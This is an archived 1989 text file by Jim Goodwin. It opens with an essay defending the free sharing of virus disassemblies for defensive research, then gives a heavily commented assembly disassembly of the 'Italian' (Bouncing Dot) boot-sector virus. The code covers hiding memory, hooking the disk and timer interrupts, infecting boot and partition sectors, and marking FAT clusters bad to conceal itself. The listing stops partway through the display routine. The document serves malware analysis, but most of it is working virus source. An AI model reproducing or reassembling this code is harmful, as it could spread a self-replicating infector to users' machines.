home *** CD-ROM | disk | FTP | other *** search
/ 2,000 Greater & Lesser Mysteries / 2,000 Greater and Lesser Mysteries.iso / computer / virus / mys00450.txt < prev    next >
Encoding:
Text File  |  1994-06-10  |  134.6 KB  |  3,516 lines

  1.     The following document is copyrighted by Jim Goodwin, 1989.  It may be
  2. copied and distributed freely, as long as no changes are made.  For further
  3. information or comments, I may be contacted on the Bulletin Board Society's
  4. Homebase board - (408) 988 4004.  Additional virus analyses are currently
  5. being finalized and the results will be published in future versions of this
  6. document.  
  7.                                      Jim Goodwin - April 7, 1989 
  8.  
  9.  
  10.  
  11.             AN ANALYSIS OF COMPUTER VIRUS STRUCTURES
  12.  
  13.  
  14.     There has been much disagreement within the virus research community
  15. about the wisdom of distributing detailed information about viruses,
  16. including disassemblies of viruses.  Some would say that virus disassemblies
  17. can be easily re-assembled and returned to a live state; that they show
  18. people how to write viruses or that they give people ideas that they would
  19. not otherwise have.  The opposing view holds that detailed information must
  20. be shared freely in order to effectively combat the virus spread.  Proponents
  21. of shared information point out that hundreds of people are re-inventing the
  22. wheel by disassembling viruses that have already been disassembled many
  23. times over.  They argue that it does not take a disassembly to enable someone
  24. to write a virus; that anyone with even a moderate understanding of
  25. programming can do so, and that live viruses are so common that anyone
  26. wishing to obtain one can easily get their hands on one.
  27.     I very strongly favor the free information viewpoint.  It is clear that
  28. we, as a user community, are suffering greatly from a lack of concrete
  29. knowledge.  PC Magazine, as the prime example of this lack of knowledge,
  30. performed an evaluation of antiviral products in its April issue that is
  31. shocking to anyone with even a remote understanding of viruses.  The products
  32. chosen were the TSR type of prevention products (Class I products in CVIA
  33. terminology), and these products are universally known to be practically
  34. useless.  They were tested against only three viruses, none of them boot
  35. sector infectors (since TSR type products cannot possibly prevent such
  36. infections), in spite of the fact that boot infectors account for over 75%
  37. of all infection occurrences.  The editor's choice was Flu-shot and, while
  38. I have nothing against Greenberg or his programming skills, the product, like
  39. all TSRs, is almost completely ineffective.  Even a child could write a virus
  40. to evade the interrupt vectoring capabilities of TSRs in a DOS environment. 
  41. These and other circumstances make it obvious that we are in desperate need
  42. of education.
  43.     I have disassembled dozens of viruses, and I now know that it takes no
  44. specialized knowledge to write a virus.  Literally anyone can write one.  The
  45. concept is absurdly simple, understood by even beginning programmers.  We
  46. have merely surrounded the virus issue with an air of mystique that makes it
  47. appear that there is some magic formula that must be guarded from the crowd
  48. of people waiting to write viruses.  This is total nonsense.  There is no
  49. magic.  There is no subtlety.  A program is merely written that copies itself
  50. and attaches itself to another program.  If this is the secret we are trying
  51. to protect, then we have become foolish.
  52.     The truth is, we need to study and disseminate existing virus structures
  53. far more than we need to hide them from crackers.  A cracker gains little
  54. from a disassembly.  A researcher attempting to write a disinfectant program,
  55. on the other hand, gains a great deal.  The cracker is the only person who
  56. gains from the existing atmosphere of restricted information flow.  If few
  57. people know the internals of a virus, then there is little likelihood that
  58. an effective remedy for the virus will be forthcoming.  If many people have
  59. access, then one or more will certainly develop an identification and removal
  60. product.
  61.     I also want to point out that full virus disassemblies have previously
  62. been published in at least three books and  four international magazines with
  63. no known ill effects, and a great deal of positive support from readers.
  64.     I do not expect the previous brief discussion will change the minds of
  65. those people who insist on a restricted flow of detailed information.  I do
  66. hope, however, that those of you who have been shy about your own desires to
  67. open up and share information, will take heart and pass on the enclosed
  68. disassemblies to those people that you feel might benefit from them.
  69.     I would like to take this opportunity to give my heartfelt thanks to
  70. John McAfee (who mildly disagrees with my approach) for his tireless efforts
  71. to collect and classify viruses from multiple computer architectures.  His
  72. work, more than any others, has inspired me to give my all to this effort. 
  73. I would also like to recognize the excellent collective work of the Computer
  74. Virus Industry Association, for their concise analysis of antiviral measures
  75. and their overwhelming contribution to my collection of 60 odd viruses. 
  76. Neither John nor the Association, by the way, is in any way responsible for
  77. my publication and distribution of this document.  I take sole and full
  78. responsibility.
  79.  
  80.  
  81.  
  82.                             THE VIRUSES
  83.  
  84. *************************************************************************
  85. -------------------------------------------------------------------------
  86. -------------------------------------------------------------------------
  87. *************************************************************************
  88.  
  89. The "Italian Virus"
  90. Also Called - Bouncing Dot, Vera Cruz and Missouri virus.
  91.  
  92.    ; ORIGININ ADDRESS -7C00H 
  93.  
  94.  
  95. RAM   SEGMENT AT 0
  96.  
  97.    ; SYSTEM DATA
  98.  
  99.    ORG   20H
  100. INT8OF   DW ?        ; INTERRUPT 8 OFFSET
  101. INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
  102.    ORG   4CH
  103. INT19O   DW ?        ; INTERRUPT 19 OFFSET
  104. INT19S   DW ?        ; INTERRUPT 19 SEGMENT
  105.    ORG   413H
  106. RAMSIZ   DW ?        ; TOTAL RAM SIZE
  107.  
  108.    ; BPB OF VIRUS BOOT RECORD
  109.  
  110.    ORG   7C0BH
  111. BYPSEC   DW ?        ; BYTES PER SECTOR
  112. NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  113. SECRES   DW ?        ; RESERVED SECTORS
  114. FATNUM   DB ?        ; NUMBER OF FATS
  115. DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  116. SECNUM   DW ?        ; NUMBER OF SECTORS
  117. MEDIAD   DB ?        ; MEDIA DESCRIPTOR
  118. SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
  119. SECTRK   DW ?        ; SECTORS PER TRACK
  120. HEDNUM   DW ?        ; NUMBER OF HEADS
  121. HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  122.  
  123.    ; INTERRUPT 19 (13H) BRANCH ADDRESS
  124.  
  125.    ORG   7D2AH
  126.  
  127. ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
  128. ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT
  129.  
  130.    ; INSTALLATION DATA AREA
  131.  
  132.    ORG   7DF3H
  133. CURFAT   DW ?     ; CURRENT FAT 
  134. CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
  135. SWITCH   DB ?     ; SWITCHES
  136.             ;          - 01H - NESTED INTERRUPT
  137.             ;          - 02H - TIMER INTERRUPT 
  138.             ;          - 04H - 16-BIT FAT
  139. LSTDRV   DB ?     ; LAST DRIVE USED
  140. REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
  141. RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
  142. FLAG01   DW ?     ; FLAG FIELD
  143.  
  144.    ; DATA AREA
  145.  
  146.    ORG   7EB0H
  147. LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
  148. PRCFAT   DB ?        ; PROCESSED FAT / 256
  149.  
  150.    ; INTERRUPT 8 BRANCH ADDRESS
  151.  
  152.    ORG   7FC9H
  153. ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
  154. ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT
  155.  
  156.    ; DISPLAY DATA AREA
  157.  
  158.    ORG   7FCDH
  159. CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
  160. ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
  161. ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
  162. GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
  163. MODEAP   DW ?        ; MODE AND ACTIVE PAGE
  164. COLUMN   DB ?        ; VISIBLE COLUMNS - 1
  165.  
  166.    ; BPB OF ORIGINAL BOOT RECORD
  167.  
  168.    ORG   800BH
  169. BIPSEC   DW ?        ; BYTES PER SECTOR
  170. ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  171. VERVED   DW ?        ; RESERVED SECTORS
  172. RUMNUM   DB ?        ; NUMBER OF FATS
  173. ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  174. NUOSEC   DW ?        ; NUMBER OF SECTORS
  175. MIASET   DB ?        ; MEDIA DESCRIPTOR
  176. FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
  177. TRASSC   DW ?        ; SECTORS PER TRACK
  178. NUOHED   DW ?        ; NUMBER OF HEADS
  179. HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  180.  
  181.  
  182.    ORG   81F5H
  183. FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
  184. SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
  185.          ;             - 02H - TIMER INTERRUPT INSTALLED
  186.          ;             - 04H - 16-BIT FAT
  187. LASTUS   DB ?        ; DRIVE LAST USED
  188. REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
  189. LATER2   DB ?        ; TYPE SWITCH
  190. LATER3   DW 2 DUP (?)     ; INSTALLED.. HMMM?
  191.  
  192.  
  193. RAM   ENDS
  194.  
  195. CODE  SEGMENT BYTE PUBLIC 'CODE'
  196.    ASSUME CS:CODE,DS:RAM
  197.  
  198. START:  
  199.    JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE
  200.  
  201.    DB 'MSDOS3.2'     ; OEM AND VERSION
  202.  
  203.    DW 512      ; BYPSEC - BYTES PER SECTOR
  204.    DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
  205.    DW 1        ; SECRES - RESERVED SECTORS
  206.    DB 2        ; FATNUM - NUMBER OF FATS
  207.    DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
  208.    DW 720      ; SECNUM - NUMBER OF SECTORS
  209.    DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
  210.    DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
  211.    DW 9        ; SECTRK - SECTORS PER TRACK
  212.    DW 2        ; HEDNUM - NUMBER OF HEADS
  213.    DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
  214.  
  215.    ; START OF PROCESSING
  216.  
  217.    ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
  218.  
  219. HIDE_ME_PLEASE: 
  220.    XOR   AX,AX
  221.    MOV   SS,AX       ; STACK SEGMENT ZERO
  222.    MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
  223.    MOV   DS,AX       ; DATA SEGMENT ZERO
  224.    MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
  225.    SUB   AX,2        ; SUBTRACT 2K
  226.    MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
  227.    MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
  228.    SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
  229.    SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
  230.    MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
  231.    MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
  232.    MOV   DI,SI       ; COPY OFFSET FOR SOURCE
  233.    MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
  234.    REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
  235. ;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
  236.                      ; THIS IS THE ILLEGAL OPCODE!
  237.    DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED
  238.  
  239.    ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
  240.  
  241.    PUSH  CS             ; \ SET DS EQUAL TO CS
  242.    POP   DS             ; /
  243.    CALL  SET_IT_UP
  244. SET_IT_UP: 
  245.    XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
  246.    INT   13H            ; DISK INTERRUPT
  247.    AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
  248.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  249.    PUSH  CS             ; \ GET CURRENT SEGMENT
  250.    POP   AX             ; /
  251.    SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
  252.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
  253.    CALL  READ_IT_IN         ; READ REST OF CODE
  254.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  255.    INC   BX             ; ADDRESS TO BOOT SECTOR STORE
  256.    MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
  257.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
  258.    CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
  259.    XOR   AX,AX
  260.    MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
  261.    MOV   DS,AX          ; DATA SEGMENT ZERO
  262.    MOV   AX,INT19O      ; SAVE INT 19 OFFSET
  263.    MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
  264.    MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
  265.    MOV   INT19S,CS      ; NEW INT 19 SEGMENT
  266.    PUSH  CS             ; \ SET DS EQUAL TO CS
  267.    POP   DS             ; /
  268.    MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
  269.    MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
  270.    MOV   DL,LSTDRV      ; GET DRIVE NUMBER
  271.    DB 0EAH              ; FAR JUMP TO BOOT SECTOR
  272.    DW 7C00H, 0
  273.  
  274. WRITE_IT_OUT: 
  275.    MOV   AX,301H     ; WRITE ONE SECTOR
  276.    JMP   SHORT GET_SECTOR
  277.  
  278. READ_IT_IN: 
  279.    MOV   AX,201H     ; READ ONE SECTOR
  280. GET_SECTOR: 
  281.    XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
  282.    ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
  283.    XOR   DX,DX       ; CLEAR FOR DIVISION
  284.    DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
  285.    INC   DL          ; ADD ONE TO ODD SECTORS
  286.    MOV   CH,DL       ; SAVE SECTOR NUMBER
  287.    XOR   DX,DX       ; CLEAR FOR DIVISION
  288.    DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
  289.    MOV   CL,6        ; POSITIONS TO MOVE
  290.    SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
  291.    OR    AH,CH       ; MOVE IN SECTOR NUMBER
  292.    MOV   CX,AX       ; MOVE TO CORRECT REGISTER
  293.    XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
  294.    MOV   DH,DL       ; MOVE HEAD NUMBER
  295.    MOV   AX,BX       ; RECOVER CONTENTS OF AX
  296. BRING_IN: 
  297.    MOV   DL,LSTDRV   ; GET DRIVE NUMBER
  298.    MOV   BX,8000H    ; SET BUFFER ADDRESS
  299.    INT   13H         ; DISK INTERRUPT
  300.    JNB   GO_BACK     ; BRANCH IF NO ERRORS
  301.    POP   AX
  302. GO_BACK:
  303.    RET
  304.  
  305.    ; INTERRUPT 19 (13H) (DISK) ROUTINE
  306.  
  307. INT_19: 
  308.    PUSH  DS
  309.    PUSH  ES
  310.    PUSH  AX
  311.    PUSH  BX
  312.    PUSH  CX
  313.    PUSH  DX
  314.    PUSH  CS             ; \ SET DS EQUAL TO CS
  315.    POP   DS             ; /
  316.    PUSH  CS             ; \ SET ES EQUAL TO CS
  317.    POP   ES             ; /
  318.    TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
  319.    JNZ   PASS_OUT         ; EXIT IF ON
  320.    CMP   AH,2           ; TEST FOR READ SECTOR
  321.    JNZ   PASS_OUT         ; EXIT IF NOT
  322.    CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
  323.    MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
  324.    JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME
  325.  
  326.    ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
  327.    ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
  328.    ; TIME A DISK-READ WILL SWITCH IT ON.
  329.  
  330.    XOR   AH,AH          ; GET SYSTEM CLOCK
  331.    INT   1AH            ; SYSTEM CLOCK INTERRUPT
  332.    TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
  333.    JNZ   DO_TIME
  334.    TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
  335.    JNZ   DO_TIME
  336.    PUSH  DX             ; SAVE SYSTEM TIME
  337.    CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
  338.    POP   DX             ; RECOVER SYSTEM TIME
  339. DO_TIME: 
  340.    MOV   CX,DX          ; COPY SYSTEM TIME
  341.    SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
  342.    MOV   LASTTM,CX      ; SAVE SYSTEM TIME
  343.    SUB   DX,24H         ; SUBTRACT 2 SECONDS
  344.    JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
  345. INT_SWITCH: 
  346.    OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
  347.    PUSH  SI
  348.    PUSH  DI
  349.    CALL  DISK_INSTALL         ; INSTALL ON DISK
  350.    POP   DI
  351.    POP   SI
  352.    AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
  353. PASS_OUT: 
  354.    POP   DX
  355.    POP   CX
  356.    POP   BX
  357.    POP   AX
  358.    POP   ES
  359.    POP   DS
  360.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
  361.    DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
  362.    DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT
  363.  
  364.    ; DISK INSTALLATION
  365.  
  366. DISK_INSTALL: 
  367.    MOV   AX,201H        ; READ ONE SECTOR
  368.    MOV   DH,0           ; HEAD NUMBER 0
  369.    MOV   CX,1           ; TRACK 0, SECTOR 1
  370.    CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
  371.    TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
  372.    JZ    FAT_CHECK         ; BRANCH IF NOT
  373.  
  374.    ; HARD DISK - PARTITION TABLE
  375.  
  376.    MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
  377.    MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
  378. NEXT_PART_ENTRY: 
  379.    CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
  380.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  381.    CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
  382.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  383.    ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
  384.    LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
  385.    RET
  386.  
  387.    ; HARD DISK - GET BOOT RECORD
  388.  
  389. SNARF_UP_THE_BOOT: 
  390.    MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
  391.    MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
  392.    MOV   AX,201H        ; READ ONE SECTOR
  393.    CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION
  394.  
  395.    ; BOOT SECTOR PROCESSING
  396.  
  397. FAT_CHECK: 
  398.    MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
  399.    MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
  400.    MOV   CX,1CH         ; LENGTH OF BPB
  401.    REPZ  MOVSB          ; COPY BPB
  402.    CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
  403.    JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
  404.    CMP   LATER2,0
  405.    JNB   HEAD_EM_OUT
  406.    MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
  407.    MOV   CURCLS,AX      ; SAVE IT
  408.    MOV   SI,REMAI2
  409.    JMP   PLACE_VIRUS
  410.  
  411. HEAD_EM_OUT:  RET
  412.  
  413.    ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
  414.  
  415. WHERE_BE_THE_FAT: 
  416.    CMP   BIPSEC,200H    ; SECTOR SIZE 512
  417.    JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
  418.    CMP   ALCSEC,2       ; SECTORS PER CLUSTER
  419.    JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
  420.    MOV   CX,VERVED      ; GET RESERVED SECTORS
  421.    MOV   AL,RUMNUM      ; NUMBER OF FATS
  422.    CBW                  ; FILL OUT REGISTER
  423.    MUL   FASNUM         ; SECTORS PER FAT
  424.    ADD   CX,AX          ; SECTOR OF ROOT DIR
  425.    MOV   AX,20H         ; LENGTH OF DIR ENTRY
  426.    MUL   ROTRID         ; NUMBER OF DIR ENTRIES
  427.    ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
  428.    MOV   BX,200H        ; LENGTH OF SECTOR
  429.    DIV   BX             ; SECTORS OF ROOT DIR
  430.    ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
  431.    MOV   CURCLS,CX      ; SAVE THIS
  432.    MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
  433.    SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
  434.    MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
  435.    XOR   DX,DX
  436.    XOR   BH,BH          ; CLEAR TOP OF REGISTER
  437.    DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
  438.    INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
  439.    MOV   DI,AX
  440.    AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
  441.    CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
  442.    JBE   WRITE_FAT         ; BRANCH IF YES
  443.    OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
  444. WRITE_FAT: 
  445.    MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
  446.    MOV   BX,SECRES      ; GET RESERVED SECTORS
  447.    DEC   BX             ; ALLOW FOR ADDITION
  448.    MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
  449.    MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
  450.    JMP   SHORT READ_FAT
  451.  
  452.    ; DATA AREA
  453.  
  454.    DW 2     ; CURFAT - CURRENT FAT SECTOR
  455.    DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
  456.    DB 1     ; SWITCH - SWITCHES
  457.             ;        - 01H - NESTED INTERRUPT
  458.             ;        - 02H - TIMER INTERRUPT INSTALLED
  459.             ;        - 04H - 16-BIT FAT
  460.    DB 0               ; LSTDRV - DRIVE LAST USED
  461.    DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
  462.    DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
  463.    DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.
  464.  
  465.       ; END OF FIRST SECTOR, START OF SECOND
  466.  
  467.    ; SEARCH FAT FOR UNUSED CLUSTER
  468.  
  469. READ_FAT: 
  470.    INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
  471.    MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
  472.    ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
  473.    CALL  READ_IT_IN         ; READ FAT SECTOR
  474.    JMP   SHORT GET_EM_NEXT
  475.  
  476. FAT_SWITCH: 
  477.    MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
  478.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  479.    JZ FAT_ENTRY         ; BRANCH IF OFF
  480.    INC   AX          ; FOUR BYTES NOT THREE
  481. FAT_ENTRY: 
  482.    MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
  483.    SHR   AX,1        ; DIVIDE BY TWO
  484.    SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
  485.    MOV   BX,AX       ; COPY DISPLACEMENT
  486.    CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
  487.    JNB   READ_FAT      ; BRANCH IF NOT
  488.    MOV   DX,[BX+8000H]     ; GET ENTRY
  489.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  490.    JNZ   F_TEST_1      ; BRANCH IF ON
  491.    MOV   CL,4        ; POSITIONS TO MOVE
  492.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  493.    JZ    FAT_TOP      ; BRANCH IF NOT
  494.    SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
  495. FAT_TOP: 
  496.    AND   DH,0FH      ; SWITCH OFF TOP BITS
  497. F_TEST_1: 
  498.    TEST  DX,0FFFFH   ; TEST ALL BITS
  499.    JZ    MAKE_BAD      ; BRANCH IF NONE ON
  500. GET_EM_NEXT: 
  501.    INC   SI          ; NEXT FAT ENTRY
  502.    CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
  503.    JBE   FAT_SWITCH      ; BRANCH IF NOT
  504.    RET
  505.  
  506.    ; SPARE CLUSTER FOUND - INSTALL ON DISK
  507.  
  508. MAKE_BAD: 
  509.    MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
  510.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  511.    JNZ   FIND_SECTOR      ; BRANCH IF ON
  512.    AND   DH,0FH      ; CONVERT MARKER TO FF7H
  513.    MOV   CL,4        ; BITS TO MOVE
  514.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  515.    JZ    FIND_SECTOR      ; BRANCH IF NOT
  516.    SHL   DX,CL       ; MOVE INTO POSITION
  517. FIND_SECTOR: 
  518.    OR [BX+8000H],DX  ; PUT MARKER INTO FAT
  519.    MOV   BX,CURFAT   ; GET SECTOR NUMBER
  520.    CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
  521.    MOV   AX,SI       ; GET ENTRY NUMBER
  522.    SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
  523.    MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
  524.    XOR   BH,BH       ; CLEAR TOP OF REGISTER
  525.    MUL   BX          ; CONVERT TO SECTORS
  526.    ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
  527.    MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
  528.    MOV   BX,0        ; SECTOR ZERO
  529.    CALL  READ_IT_IN      ; READ BOOT SECTOR
  530.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  531.    INC   BX          ; ADDRESS TO NEXT SECTOR
  532.    CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
  533. PLACE_VIRUS: 
  534.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  535.    MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
  536.    PUSH  CS          ; \ GET CURRENT SEGMENT
  537.    POP   AX          ; /
  538.    SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
  539.    MOV   ES,AX       ; SET BUFFER ADDRESS
  540.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
  541.    PUSH  CS          ; \ GET CURRENT SEGMENT
  542.    POP   AX          ; /
  543.    SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
  544.    MOV   ES,AX       ; SET BUFFER ADDRESS
  545.    MOV   BX,0        ; SECTOR ZERO
  546.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
  547.    RET
  548.  
  549.    DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
  550.    DB 2           ; PRCFAT - PROCESSED FAT / 256
  551.  
  552.    ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
  553.  
  554. INTERRUPT_08: 
  555.    TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
  556.    JNZ   FINISH_TIME         ; BRANCH IF ON
  557.    OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
  558.    MOV   AX,0           ; \ SEGMENT ZERO
  559.    MOV   DS,AX          ; /
  560.    MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
  561.    MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
  562.    MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
  563.    MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
  564.    PUSH  CS             ; \ SET DS EQUAL TO CS
  565.    POP   DS             ; /
  566.    MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
  567.    MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
  568. FINISH_TIME: 
  569.    RET
  570.  
  571.    ; INTERRUPT 10
  572.  
  573. DO_VIDEO: 
  574.    PUSH  DS
  575.    PUSH  AX
  576.    PUSH  BX
  577.    PUSH  CX
  578.    PUSH  DX
  579.    PUSH  CS             ; \ SET DS EQUAL TO CS
  580.    POP   DS             ; /
  581.    MOV   AH,0FH         ; GET VDU PARAMETERS
  582.    INT   10H            ; VDU INTERRUPT
  583.    MOV   BL,AL          ; VDU MODE
  584.    CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
  585.    JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
  586.    MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
  587.    DEC   AH             ; VISIBLE COLUMNS
  588.    MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
  589.    MOV   AH,1           ; GRAPHICS MODE SWITCH ON
  590.    CMP   BL,7           ; TEST FOR TELETYPE MODE
  591.    JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
  592.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  593. IS_IT_GRAPHICS: 
  594.    CMP   BL,4           ; TEST FOR GRAPHICS MODE
